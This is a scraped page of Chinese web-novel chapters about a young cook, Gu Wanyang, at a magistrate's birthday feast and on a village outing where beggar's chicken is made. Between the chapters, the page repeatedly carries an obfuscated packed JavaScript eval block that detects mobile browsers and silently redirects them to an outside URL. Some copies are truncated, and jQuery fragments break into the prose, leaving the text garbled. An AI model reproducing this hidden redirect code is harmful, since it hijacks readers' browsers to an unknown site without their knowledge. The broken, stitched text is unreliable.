;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“今日顾姑娘掌勺辛苦了，叶府自会有重谢，现在请顾姑娘与我们一起用餐吧。”叶夫人拉着顾宛央的手，笑眯眯地说道。 哈？还要一起用餐？顾宛央有些别扭，她看了一下这一桌的女眷，也就认识鲁夫人而已，其他人一个都不认得，她想开口推辞，但叶夫人已经将她按坐在座位上了。 “顾姑娘，今日是寿宴，等会一起吃大寿桃，沾沾叶老爷子的喜气。”鲁夫人说道。 看样子，他们都认为能参加寿宴是件很荣幸的事情，顾宛央也就不便再推辞，以免让人觉得她矫情，毕竟叶夫人亲自邀请她入席的。 鲁夫人见顾宛央坐了下来，忙在所剩无几的牛舌盘子里夹了一块牛舌放到顾宛央的碗中，说道：“你也尝尝自己做的这道菜，非常的美味。” 顾宛央感激地朝鲁夫人点点头，将自己做的炙烤牛舌吃了下去，果然牛舌是最新鲜的，厚度切得正正好，口味也很完美，顾宛央心中非常满意。 60. 第 60 章 顾宛央做的三道菜一吃完，接下来的菜品虽然也都是硬菜大菜，但吃的人明显就少多了，顶多礼节性地夹上一筷子，然后就把筷子放了下来，不像刚刚那样不见空盘不停筷。 筷子放下来了，嘴却是没有闲着，前三道菜的功夫大家都没时间寒暄闲聊，光顾着吃了，现在总算是不用时刻盯着餐盘，生怕慢一点就吃少了。 “顾姑娘今年多大了？”叶夫人吃惯了自家厨子烧的菜，总是那几个口味，她甚至筷子都没拿起来，只是喝着面前的茶水，看到顾宛央水灵灵地坐在身旁，忍不住开口问道。 “十八。”顾宛央礼貌地应答。 “喔唷，真年轻呀。” “是啊，顾姑娘看着就水灵灵的。” “才十八岁，就做起生意来了。” “不仅仅是做生意而已，这厨艺都快赶上老师傅了。” “你说的对，据说文庙做饭的刘大厨，跟顾姑娘比试厨艺还输了呢。” 叶夫人这一桌的女眷纷纷开起口来，她们正觉得宴席有些无聊呢，叶夫人把话题转到顾宛央身上，这些人的好奇心八卦心大起。 顾宛央一听不妙，自己集中了众多的火力，成为了话题的中心，于是乎只是微笑端坐，不肯说话。 但大家的话头起来了，就由不得顾宛央说不说话了。 “顾姑娘还未许配人家吧？”叶夫人见大家兴致起来了，更加一语惊人。 顾宛央深深地吸了一口气，缓缓摇了摇头，她自认为没有许配人家，顾家的逼婚她不认可，不然原主也不会跑出来了。 旁边几桌的人听到这个问题，顿时都安静了下来，好些人都往叶夫人这桌看过来，尤其是崔士忠他们那桌的年轻人。 南夏民风开放，家宴或是活动都不设男女大防，都是在一个宴厅中吃饭，并没有隔断，只不过是男女分桌而已，所以一个屋子里的人都可以看见彼此。 “十八了，该许配人家了。” “是啊，我家两个姑娘都是十六就嫁了。” “嗯，是得早些安排才是。” 听着女眷们七嘴八舌地议论起来，除了主桌离得较远，那桌上的人除了李瑾修一个年轻人，其他全是年纪大的，又是在官府任职的官员，自然是冠冕堂皇地聊着国事，并未被叶夫人主桌吸引，但叶夫人隔壁的几桌人听得越发认真了。 “哦？顾姑娘的父母没有为你安排此事吗？”叶夫人见自己俨然成为了焦点，顿时更加起劲起来，她本身就爱撮合姻缘，加上顾宛央又如此优秀，她摩拳擦掌想做点什么。 “父母都已不在了，宛央是南边过来的流民，只想着开食肆挣钱傍身，倒是没想过这些事情。”顾宛央委婉地说道。 “哦，对了，刚刚听徐工师说起，你是从南边来的流......”叶夫人脱口而出，最终还是把那个“民”咽了回去，顾宛央自己能说自己是流民，但旁人说的话毕竟不好。 “是，所以宛央自知身份，从未有奢望。”顾宛央也不避讳，她的身份是既定的事实，说不定还能让叶夫人断了这个话题，毕竟流民身份一般有家底的人不是太能接受的。 顾宛央话一出，整桌都陷入了安静，鲁夫人微笑着说道：“我朝对于身份又不像前朝那么看重，是南边来的流民又如何，依我说，顾姑娘才貌出众、又有厨艺傍身，真真是个不可多得的好姑娘，谁家若是娶了她，那是有大福了。” “鲁夫人所言极是，顾姑娘厨艺非凡，今日这头三道菜品，让大家都为之惊叹，崔某以茶代酒敬顾姑娘一杯。”崔士忠霍地一声站了起来，端着茶杯对着顾宛央说道。 崔夫人也与顾宛央同桌坐着，对于刚刚鲁夫人的话倒是颇为赞同，如今见自家儿子突然冒出头来替顾宛央说话，不由笑眯眯地看向自己的儿子，赞许地点点头。 顾宛央没想到崔士忠会突然冒头，一时没有反应过来，但崔士忠已经将手中的茶一饮而尽。 “这位是崔县丞的儿子，他母亲崔夫人就坐在你对面。”叶夫人见顾宛央神色有些尴尬，不由地介绍道。 “我认得崔公子，在文庙做饭时见过多次。”顾宛央缓过神来，对着崔夫人轻轻点头，随即也站了起来端起茶杯，对着崔士忠感激一笑，喝了一口茶作为回敬。 崔士忠这做法得到了顾宛央的回应，与崔士忠同桌的好几位年轻人也都站起来，举着茶杯感谢顾宛央今日带给他们的美味。 叶夫人在一旁不停地介绍：“这位是姜县尉家的小公子，那位是城北黄家的大公子，对，就是齐中县首富家的，还有这位是钟家的公子，他舅舅在京都做高官......” 叶夫人如数家珍地将在座年轻男子一一都介绍了一遍，当然这些都是还没有婚配的，已经有家室的也不来凑这个热闹，都静静地看戏，但多少心中有些遗憾，没成婚真好啊。 眼见着寿宴变成了相亲现场，顾宛央有些哭笑不得，虽说风气开放，那倒也不必这么不见外吧。 叶夫人这几桌的动静终于惊动了主桌，那些官老爷们停下了口中的国家大事，纷纷往这边瞧了过来。 李瑾修本来注意力全在顾宛央这边，但左边许兆恒右边叶县令老是没话找话地跟他说些朝廷大事，他又不能不理，于是精力全被这两人牵扯了过去，直到看见每桌的年轻男子都在给顾宛央敬茶，这才把目光聚集到顾宛央这里。 “他们在做什么啊？”李瑾修不由自主地问了出来。 已经看了好一会戏的崔县丞爽朗地笑道：“窈窕淑女，君子好逑，这些男娃娃们，比我们那时候胆子大多了。” “对啊，这顾姑娘不知道被敬了多少杯了，我看这些未有婚配的孩子，都应该敬过了吧。” “崔县丞，当属你家公子最胆大，我刚刚一直在看那边，就是崔公子带的头。” 崔县丞哈哈大笑起来：“我儿英勇，敢于表达内心所想，我这当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“顾姑娘，我有马车，可送姑娘回食肆。”崔士忠在宴席结束后，对顾宛央说道。 “不用你送，我跟她一同回去。”李瑾修的声音冒了出来，宴席一结束，他便甩开许兆恒和叶县令第一时间站到了顾宛央的身边，对着崔士忠冷声说道。 “弟弟，我的马车可以坐得下，你跟宛央姑娘一起坐吧。”崔士忠见是李瑾修，忙说道。 “不必，我坐不惯马车。”李瑾修一口拒绝，双手环抱在胸前说道。 顾宛央瞥了李瑾修一眼，就算不坐人家的马车，也不至于态度这么差吧，她转头笑着对崔士忠说道：“不用客气了，我们还得去小厨房接小桃一起走，你快回吧，我们走了。” 说完，顾宛央生怕崔士忠再继续客气拉扯，赶忙抬脚就往外走，李瑾修对着崔士忠“哼”了一声，翻了个白眼，赶紧跟了上去，只留下许兆恒和叶县令在原地对着他的背影长身鞠躬行礼。 61. 第 61 章 “宛央姐，你怎么去了这么久才回来，我等得快睡着了。”小桃在厨房门口张望，一见到顾宛央立马跑过去说道，然后一转头又看到了李瑾修，不由大奇：“咦，瑾修哥，你怎么也还在呢？” “小桃，你饿了吗？”顾宛央担心小桃没吃饭。 “不饿，刚刚辛管事让我在厨房跟他们一起吃饭了的。”小桃摸着圆滚滚的肚子说道。 这位辛管事还挺会安排的，顾宛央放了心，没饿着就行，本来厨房也是有饭吃的，多一个小桃不在话下，关键辛管事能想得到，还是挺不容易的。 “瑾修哥，你怎么看起来不高兴的样子？”小桃奇怪地问道，平日里瑾修哥可不是这样，每天都在唠叨个不停，从来没像现在这样一句话都不说。 “很明显吗？”李瑾修调整了一下脸部肌肉，他确实不高兴，心中莫名烦躁。 “嗯，一眼就看得出来。”小桃煞有其事地点点头，“谁欺负你了？” “谁能欺负到他？”顾宛央见他这副死样子，呛声道：“人家都跑到叶县令老父亲寿宴的主桌上去吃席了。” “啊？瑾修哥，你是怎么混进去的？”小桃惊讶地问道。 “什么混进去的，是他们请我去的好不好！如果不是为了宛央做的那三道菜，我才不去呢！”李瑾修反驳道。 小桃一脸的不相信，但也不想跟他继续争辩，一副你说是什么就是什么的样子，她指着厨房里早已整理好的用具说道：“瑾修哥，既然你来了，那就帮我拿点东西吧。” “算了，他心情不好呢，我跟你一起拿就行了。”顾宛央走过去想把东西拎起来。 李瑾修抢先一步，把东西拎了起来，瓮声瓮气地说道：“我来吧，你做菜辛苦了，这些体力活就不要做了。” 顾宛央见李瑾修虽然掉着一张脸，但还是抢着干活，嘴硬心软的家伙，她不由摇头笑道：“做菜倒是不辛苦，应付人倒是辛苦得很。” 本是顾宛央随口一句话，但听进李瑾修的耳中，却是心中一动，正待开口，就听得小桃先问道：“宛央姐，你应付谁啊？对了，刚刚你这么久没回来，是出什么事了吗？” “没出什么事，刚刚被喊去宴厅，叶夫人让我入席跟他们一起吃饭了。”顾宛央说道，想起刚才尴尬的一幕，她脚指头现在都想抠地。 “啥？原来你是在跟他们一起吃饭？”小桃瞪大眼睛说道，天呢，宛央姐居然也入席了。 “是啊，叶夫人盛情邀请，不好推脱，按理说没这个规矩啊，掌勺的大厨顶多去见见宾客，跟大家打个招呼，然后领个赏就回来了。”顾宛央一边点头一边说道。 李瑾修不敢开口，让顾宛央一起入席吃饭是他的意思，还不是怕她做菜时间拉的太长太辛苦嘛，一下子做完三道菜就可以休息了的。 “那宛央姐你就坐着吃就好了，应付他们干嘛？”小桃天真地说道，她的眼里只有美食，吃东西的时候谁跟她唠嗑她都不想理会。 “没办法，人家端着茶杯来敬，说些感谢称赞的话，那总不能不理他们。”顾宛央叹气道，她也想像小桃那样活的随心所欲，但毕竟她还要在这里挣钱，不得不违心地做些自己不想做的事情。 “我看你刚刚跟那些人聊的火热嘛，没看出来不愿意理他们。”李瑾修忍不住说道。 “你如果能看出来我不愿意理会，那大家都看出来了，那是不是太不礼貌了，毕竟人家也都是好意。”顾宛央气道，这人真是榆木脑袋，不过他倒是跟小桃挺像的，随心所欲地做自己想做的事情。 “宛央姐说的对，做人要有礼貌，那句话叫什么来着投之以桃，报之以李，对不宛央姐？”小桃立马就站在了顾宛央的这边，对着李瑾修说道。 “诶嘿，小丫头，你倒是会引经据典了，能的你！”李瑾修没想到小桃文绉绉地来了一句，忍不住笑了起来。 顾宛央也夸赞道：“不错嘛，小桃，这些天的功课没拉下呀。” 小桃自从跟着顾宛央来到县城做工后，顾宛央总是忙里偷闲地教她认字读诗，李瑾修兴致好的时候，也会教她，所以现在小桃认识了不少字，也读了不少诗，时不时地蹦出几句来。 “那你刚刚都是场面上跟他们客套的？”李瑾修笑完小桃，又小心翼翼地看向顾宛央，问道。 “不然呢？你可不知道跟人客套有多累，我的脸都快笑僵了，还好叶县令那句吃寿桃解救了我。”顾宛央揉了揉自己的脸颊，说道。 李瑾修的嘴角慢慢地弯了起来，他一把又将小桃手中的箱子拎了过去大踏步往前走，说道：“我来拿，我来拿，你俩歇歇。” 看着两只手拎满东西的李瑾修背影，小桃疑惑的说道：“宛央姐，瑾修哥吃错药啦，怎么一下不高兴，一下高兴的？” 顾宛央皱着眉头，抚了一下鬓间落下的发丝，摇头道：“我也不清楚，这人性子真怪。” 走在最前面的李瑾修没听到后面两人的蛐蛐，他感觉浑身充满了力量，再来几个箱子他也扛得动！ 郑奎在食肆中正坐立不安呢，少主一上午就出去到现在还没影，这都下午了，怎么还不回来。 他正在食肆门口往外张望的时候，便见自家少主两只手拎满了东西，昂首阔步地走了过来。 郑奎赶忙一个箭步赶过去，从李瑾修手中接过东西，嘴里不停地说道：“爷，你去哪里了，怎么这么久才回来。” “我在叶府啊，蹭了个饭，吃了宛央做的菜，味道好极了。”李瑾修轻松地说道。 “啊？您您怎么就混进叶府吃饭去了？”郑奎看了一眼落在后面的顾宛央和小桃，凑近了李瑾修悄声问道：“你亮身份了？” “差不多吧，你猜我遇到谁了？”李瑾修大踏步走进食肆，端起一杯水咕嘟咕嘟喝了下去。 “哎哟我的爷，这杯是凉水，喝这么多，我去给你掺点热的啊。”郑奎顾不上回答李瑾修的话，一把抢过李瑾修的手里的杯子。 “别废话，把杯子给我。”李瑾修怒道，现在人虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“什么？去哪？我也要去。”小桃在一旁听了一耳朵，赶紧凑过来说道。 李瑾修本想一口拒绝，但顾宛央却比他快：“好啊，一起去，把小桃也带上。” “我也一起去。”郑奎在一旁弱弱地开口。 李瑾修眼睛一瞪，刚想开口拒绝，顾宛央又比他快一步：“行，那就都一起去，就当随心小食肆的团建了。” “啥？”李瑾修转头看向顾宛央，团建是啥？ “额，就是我们四个人是一个团队，为了把随心小食肆做大做强共同努力的团队，所以必要的时候要加强我们相互之间的凝聚力，而一同出去郊游是最好不过的了。”顾宛央解释了一通，也不知道他们能不能理解，反正一起去就对了。 李瑾修见顾宛央兴致高涨，也说不出只想带她一个人去的话了，只能默默点头。 62. 第 62 章 第二天一大早，小桃醒的最早，她一睁开眼立马翻身起床，顺带便地把顾宛央给薅醒了。 接着便是冲到院子里，对着另外两间屋子一通狂敲门，直至李瑾修和郑奎睡眼惺忪地开门。 “小桃，现在才卯时中，天才刚刚亮呢！”郑奎无奈地看着在院子里飞快洗漱的小桃说道。 “天都亮了，你们还睡！”小桃一边用牙粉刷牙，一边口齿不清地说道。 李瑾修倒是没有那么大怨气，今天的行程是他提议安排的，他想起顾宛央向往的眼神就顿时浑身有了力气。 “是该起了，郑奎赶紧收拾一下，定的马车什么时候能到？不行的话你去一趟让他们早点过来。”李瑾修吩咐道。 “是，少主。”郑奎不敢有异议，火速行动。 顾宛央也已经起来了，她倒是习惯了早起，再加上小桃一阵闹腾，索性爬起来收拾收拾准备出发。 现在已经入秋，早上倒是不热，微微的凉风吹着，非常舒爽，不过到中午日头出来了，那还是挺热的。 顾宛央昨日已经问了李瑾修需要多长时间的路程，得知就在齐中县隔壁的润山县，马车过去大概一个半时辰，也就是三小时，按现在的脚程来算那已经是很近的了。 昨天下午回来后知道今日要出门，顾宛央特意出去买了些水果和坚果，再到市集收集采买了几根鸭脖子，趁着下午的时间卤制好，剁成一小段一小段的，准备在路上吃，仿佛就像在现代出门旅游的情景，一路上吃吃喝喝的，时间过得非常快。 把水果洗好，坚果和水装好，再带上防晒的惟帽，顾宛央不一会便收拾出一个大包袱出来。 李瑾修早就已经准备好了，他看着顾宛央和小桃一点一点地将包袱装满，顿时摇头叹息，没想到她们居然能收拾出来要带这么多东西，再看看自己两手空空，啥都没带，于是转身进屋拎了两壶顾宛央酿的梅子酒出来。 “诶，你想的倒是周到，居然把梅子酒带上了。”顾宛央眼前一亮，看着李瑾修手中的果酿酒说道。 顾宛央没有放弃酿花果酒，根据时节的变化，采用最新鲜的花和果来进行酿造，不仅供给酒肆用，自己的小食肆也用得正好。 “这可是我珍藏起来的，如今梅子已经不是季节了，要不是新酿的葡萄酒还没出酒，我才不会拿出来呢。”李瑾修虽然有些不舍，但还是咬咬牙拿了出来，今日这种情形不带酒怎么行。 “葡萄酒马上过两日便能出酒了，到时你尝了又要当珍藏品了。”顾宛央笑道，这家伙真的爱花果酒，她自从酿了桃花酒以来，梅子酒、桑葚酒、桃子酒、杏子酒都酿过，没一个他不喜欢的，每种酒都被他珍藏起来好几坛。 “葡萄酒出来后，还是老规矩，给我留两坛。”李瑾修赶紧预定下来。 “知道了，哪次不是你守在酒坛旁边，一旦出酒就搬走两坛的。”顾宛央无奈地说道，每次出酒他最积极，守在旁边总要尝第一口。 “少主，马车来了。”门外传来郑奎的声音。 “正好，我们也收拾的差不多了，出发吧。”顾宛央将两壶梅子酒接过来，放进满满当当的包袱中，用力扎紧。 郑奎忙将包袱背上，搬到马车上去，顾宛央、李瑾修和小桃三人紧随其后，关好大门坐上了马车。 郑奎租了一辆超大的豪华马车，车厢坐四五个都没问题，郑奎自觉地坐在车夫旁边的车把式上，他是提前去过润山县的，所以他认得路，坐在前面指起路来方便些。 小桃一坐进马车便是一声惊叹，这也太舒服了吧，车厢越是宽大便越是稳，让人感觉不到一点颠簸。 顾宛央也是第一次坐这么大的马车，以前总在电视上见到过，以为都是拍电视的效果，没想到真实的马车比电视里还要夸张。 顾宛央将车窗的布帘掀了开来，顿时一阵微风吹进来，一点都感觉不到闷热，顾宛央将包袱中的米糕拿了出来，分给其他几人，早饭都没来得及吃，还好有剩的米糕热一下权当是早餐了。 “米糕真好吃。”小桃一边吃一边看着车窗外感叹道。 顾宛央嫣然一笑，怕不是米糕本身的味道好吃，而是在去游玩的路上吃什么都会觉得好吃吧。 李瑾修没看窗外，顾宛央的那一笑让他的米糕差点没拿住，柔和的晨曦映在她的脸上，仿佛自带光芒，让人挪不开眼。 “嗯？你也觉得米糕好吃吗？”顾宛央转头见李瑾修呆呆地看着自己，不由地问道。 “哦，对，好吃着呢。”李瑾修忙移开目光，咬了一大口米糕，差点噎住。 顾宛央递上一壶水说道：“好吃也不能这么大口地吃啊，不噎吗？” 李瑾修接过水壶一顿猛灌，总算是咽了下去。 顾宛央不紧不慢地从包袱里掏出鸭脖子啃了起来，嗯，在旅途中最适合吃鸭脖了。 鸭脖的香味让正在吃米糕的李瑾修和小桃，赶紧将米糕吃完，学着顾宛央的样子啃起鸭脖子来。 一路上吃吃喝喝，等到气温越来越高的时候，一行人也终于到达了目的地。 顾宛央一下马车，便被周围的景色所惊艳，马车停在一天山谷的入口处，狭小的小路容不下硕大的马车，所以只能在此处下车。 “我们还需再走进村子去。”李瑾修说道。 “没问题。”顾宛央点头说道，这么好的景色，走起来简直就是享受。 郑奎跟马车夫交待好，让他在这里等候，顾宛央将带来的点心水果送给马车夫，马车夫很感激地收了下来。 山路蜿蜒曲折，但一进入山谷口，便豁然开朗，原来山谷只是这个村子的天然屏障，隐匿在山谷里的村子一片炊烟袅袅的景象，已经快到中午了，很多人家升起了烟火。 山谷中比外面温度要低不少，闻着柴火的味道，顾宛央不由地加快了脚步，她很想快点知道到底是什么美食在等着她。 李瑾修看出了顾宛央 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047886|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心思，迈开大长腿在前面嗖嗖地带路，不过一刻钟的时间，便停在了一户农户的家门口。 “浩叔，浩叔。”李瑾修轻叩门环喊道。 浩叔一听到声音，马上跑出来开门，见是李瑾修，赶紧侧身请他们进来。 “是三郎来了吗？”屋里传来一个上了年纪女人的声音。 “是我，巧婆婆。”李瑾修忙应道。 巧婆婆走出屋来，慈祥地笑着，顾宛央一见她不由想起自己的外婆来，一种熟悉感油然而生。 “这几位都是你的朋友？”巧婆婆虽然年纪大了，但眼神依然好使，看向顾宛央和小桃，笑眯眯地问道。 “对，是我朋友，今天特意带她们来看看你们，顺便我又馋了浩叔做的那道菜，所以让郑奎提前跟你们说了一声。”李瑾修说道，一点都没客气，看样子他跟这家人的关系还是很好的。 “你都好久没来看我这老婆子了吧。”巧婆婆嗔怪道。 “这不就来了嘛。”李瑾修说道。 “不过你每个月都会派人来看望我们，还送了很多食物和用品，我们这都吃不完用不完了。”巧婆婆拍了拍李瑾修的手说道。 “娘，请客人们坐吧，我去倒茶。”浩叔在一旁说道。 “对对对，孩子们快进屋坐，让你浩叔给你们做好吃的。”巧婆婆把几人让进屋内坐下。 浩叔给几人倒好茶说道：“你们先坐着歇会，我去做菜。” 顾宛央眼巴巴地看着浩叔要走出去，其实她想去看他做菜，但又不好意思开口。 “浩叔，我这位朋友很喜欢做菜，让她去帮你一起吧。”李瑾修见顾宛央的样子，便知道她想做什么，于是开口说道。 “这怎么好意思，来的都是客人，怎么能让客人帮忙呢。”巧婆婆说道。 “没事的，巧婆婆，你让她去帮忙，她反而开心的很呢。”李瑾修笑道。 “这位姑娘，那麻烦你来帮我一下，正好一个人有些忙不过来呢。”浩叔人虽不多话，但却十分会看眼色，他能看出来李瑾修说的都是真的。 顾宛央一听浩叔开了口，立马站起来，说道：“浩叔，叫我宛央就行了，听瑾修说你会做一道祖传秘方的美食给我们吃，不知道我方不方便在一旁呢？” 顾宛央虽然非常想看浩叔是怎么做的古法食物，但她懂得厨师行的规矩，得先问清楚才行。 “嗐，那算什么祖传秘方呀，只不过是家里一代一代传下来的做法而已，不是什么秘方，你随便看，我把做法告诉你都行。”浩叔摆摆手，毫不在意地说道。 顾宛央心里这才放下心来，山里人淳朴，又不倚靠这道菜赚钱，只是作为家中传下来的做法而已，他们根本就没把这当回事。 “是啊，喜欢的话就让你浩叔教你怎么做，你是瑾修的朋友，就是我们的朋友。”巧婆婆也说道。 顾宛央兴奋地看向李瑾修，见他挑了挑眉头，神情得意极了。 63. 第 63 章 “浩叔，瑾修直夸赞的那道菜，到底是什么菜呀？”顾宛央跟着浩叔出了屋子问道。 小桃见顾宛央出去帮忙了，也赶紧站起来跟着走出来。 “鸡。”浩叔言简意赅地答道。 “哦，鸡？没有名字吗？”顾宛央疑惑地问道。 “嘿嘿，有名字，就是不太好听。”浩叔挠挠头腼腆地笑道，“我们祖上传下来的时候，说这道菜名字是叫花鸡。” “叫花鸡！”顾宛央说道，心中顿时充满了期待，这道菜在后世可是很有名的存在，不过好像在这里并未流传开来。 “说起来惭愧，我高祖父那个年代正遇上战乱，战火毁了他的村子和他的亲人，一个人流落在外成了流民乞丐，有一次他偶然得了一只鸡，但除了盐没有任何调料也没有炊具，便用了一种方法把鸡烧熟了，居然味道非常好，后来我高祖就把这个方法传了下来。”浩叔一边拿出早上已经杀好处理并腌制的鸡，一边说道。 顾宛央听说过这个故事，原本以为只是个噱头，没想到还真有其事，今天终于可以看到真实的叫花鸡是如何做成的了。 “浩叔，需要我们做什么，尽管吩咐。”顾宛央在一旁插不上手，对浩叔说道。 “哦，你们先帮我把院子的那个土坑里烧上柴火。”浩叔打算处理刚抓的鸡，指了指院子的方位说道。 “咦？为何要在土坑里烧火？不在厨房灶台做饭吗？”小桃好奇地问道。 “叫花鸡就是得在外面地里做的，我高祖那时候没有厨房灶台，就在地里挖个坑把柴火烧旺再做，他传下来就是这样做的，我们也没改过。”浩叔脾气很好地解释着。 顾宛央点头，这才是正宗叫花鸡的做法啊，后世虽然有叫花鸡这道菜，哪里可能在地里挖个坑做呢，不都是在厨房里用各种炊具做出来的吗！所以后世的叫花鸡空有其名，却再也不是原来的味道了。 “得嘞，放心吧，烧火我最擅长了。”小桃应了一声，立马抱着柴火就往院子里走去。 有了小桃烧火，顾宛央就可以跟在浩叔的身边，看他怎么做这道叫花鸡。 “我高祖后来被拉去当了兵，经过多年拼死杀敌，终于立了战功成了家，想起年少时这道美味，于是又把这道菜改进了一番，他第一次做的时候是直接将鸡杀了破完肚，连着鸡毛一起用泥巴包裹来扔进土坑里烤的，但后来成家了有条件了，他便将鸡毛拔除，先用葱姜盐料酒腌制一个时辰，然后包上荷叶，再包上泥巴扔进土坑烤。”浩叔详细地解释道。 原来是这样，顾宛央点点头，看样子浩叔的高祖也是个美食爱好者。 “第一次那样的做法很粗糙，后来改进过后的做法味道肯定比第一次要好很多，但我高祖说从此以后再也没有第一次吃的味道了。”浩叔用手将腌制过的鸡继续按摩了一遍，让调味料能更加入味。 “浩叔，腌制的调味料只有葱姜盐和料酒吗？”顾宛央问道。 “对，简单的这些调料就足够了，你想我高祖第一次做的时候，除了盐什么都没有放呢，但让他描述起来那简直就像是天上的食物。”浩叔笑呵呵地说道。 “当然，那时候对于一个饥肠辘辘的叫花子来说，能吃到鸡可不就是天上的食物嘛。”浩叔也能理解高祖那时候的情况，一点都不觉得高祖夸张。 浩叔将腌制好的鸡取出，用好几张荷叶紧紧包并用绳子扎紧，以保证泥巴不会渗透进荷叶中。 包好了荷叶后，浩叔走到后屋的菜地里，就着脚下的泥土就开始包了起来。 “从包泥巴开始，做法就跟我高祖第一次做的一模一样了，所谓的改进也只是把杀好的鸡提前腌制，并且加了一层荷叶。”浩叔一边包裹泥土，一边对顾宛央说道。 “浩叔，柴火烧起来了。”小桃在院子里喊了一声。 “马上就来。”浩叔回了一声，他正好也将泥土包裹完成了。 包好的叫花鸡跟一个圆鼓鼓的大包一样，浩叔捧着这个大包直接走到院子里的土坑旁边，将柴火扒拉一下，把叫花鸡放了进去，再将柴火盖在上面继续烘烤。 “接着便是要烘烤叫花鸡了，火候很重要，不能太旺也不能太小，整个过程都要守在旁边。”浩叔拉了个板凳坐了下来。 顾宛央和小桃也各自找个板凳，坐在浩叔的旁边。 浩叔用火钳扒拉着柴火，适时地添上一些，又不让柴火烧的太过旺盛。 看这样子估计得一时半会是烤不好的，顾宛央又不想离开，她想看这道菜制作的全过程，而且浩叔也说了火候是最重要。 浩叔本不善言辞，介绍完叫花鸡的做法，他便沉默了下来。 “浩叔，你们是怎么跟瑾修认识的？”顾宛央找了个话题，不至于三个人就这样默默地看着火呆坐着吧。 “瑾修？”浩叔疑惑地抬头问道。 “额，就是你们喊的三郎。”顾宛央想了想说道。 “你是说三郎啊。”浩叔笑了一下说道：“也是机缘巧合，两年前差不多也是这个季节，我上山砍柴，发现三郎在山上转悠个不停，一问才知道这孩子出来打猎迷路了，跟家里人也走散了，于是我便把他带回家。” 顾宛央一听，心中忍不住笑起来，这小子怎么没事就去山上瞎晃悠，还好上次不是掉下山崖摔伤了，不然可真就是被山神偏爱的孩子了。 “带他回家后，我就给他做了叫花鸡吃，他便不肯走了，硬是待了好几日，把我家的鸡吃得不剩几只了，后来还是他家里人来寻，这才跟着回去了的。”浩叔陷入了回忆中，家里本来只有自己和老娘两个人，多了一个十几岁的男娃娃，那几日热闹了不少。 果然是他的本性，有好吃的就不舍得迈腿，顾宛央都能想到当初李瑾修那副神态摸样来，只是天天在人家家里吃鸡，也亏得巧婆婆和浩叔人善心好，不然早被人赶出去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051435|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “他跟家里人走后，经常会派人送很多东西来我家，吃的穿的用的，一应俱全，只是他自己却很少再来了，自那以后也就来过一两次。”浩叔说道。 估计如果这次李瑾修没在城西村受伤，应该也是会来浩叔家里吃叫花鸡的吧，顾宛央默默地想着。 “瑾修哥真馋。”小桃冷不丁地开口。 “小桃。”顾宛央阻止小桃继续说下去。 “也不怪三郎馋，等一会你们吃了这个叫花鸡，就能理解他了。”浩叔笑了起来，年轻人就是有趣，说话直接的很。 “真的吗？真有这么好吃吗？”小桃还是有些不信的，在她眼里宛央姐做的东西最好吃，谁都比不上。 “我相信肯定是很好吃的。”顾宛央倒是充满了期待，古法炮制的叫花鸡，肯定比后世那些传的走了样的好吃。 浩叔但笑不语，手中的火钳快速又扒拉了几下柴火，这时泥巴在柴火的烘烤下慢慢变干，表面裂了一些小缝，里面的荷叶感受到了热火的炙烤，散发出清香的气味。 “嗯，好香，香味出来了。”小桃使劲嗅了嗅空气，说道。 刚刚还一点味道都没有呢，随着泥巴表面出现了裂缝，里面包裹的荷叶和腌制过的鸡受热后，产生了质的变化，香味一点一点地渗透出来。 浩叔已经不说话了，他的注意力全都放在了柴火中间的泥包上，烘烤的时间越来越久，香味随着也越发浓烈。 顾宛央也全神贯注地看着浩叔控制着柴火，土坑中的泥包渐渐烧焦，正当顾宛央想出言提醒的时候，就听见浩叔说了一声：“成了。” 浩叔快速将柴火弄灭，接着用火钳将泥包夹了出来放在院子里的石桌上。 这一连串的动作几乎就在一瞬间完成，顾宛央看见石桌上的泥包这才反应过来，叫花鸡烤好了。 浩叔徒手将泥包劈了开来，露出热气腾腾的荷叶来。 “姑娘，帮忙到厨房拿个大盘子和筷子出来。”浩叔一边小心翼翼地揭开荷叶，一边说道。 “好嘞。”小桃火箭一般窜了出去，立马带过来一个大盘子。 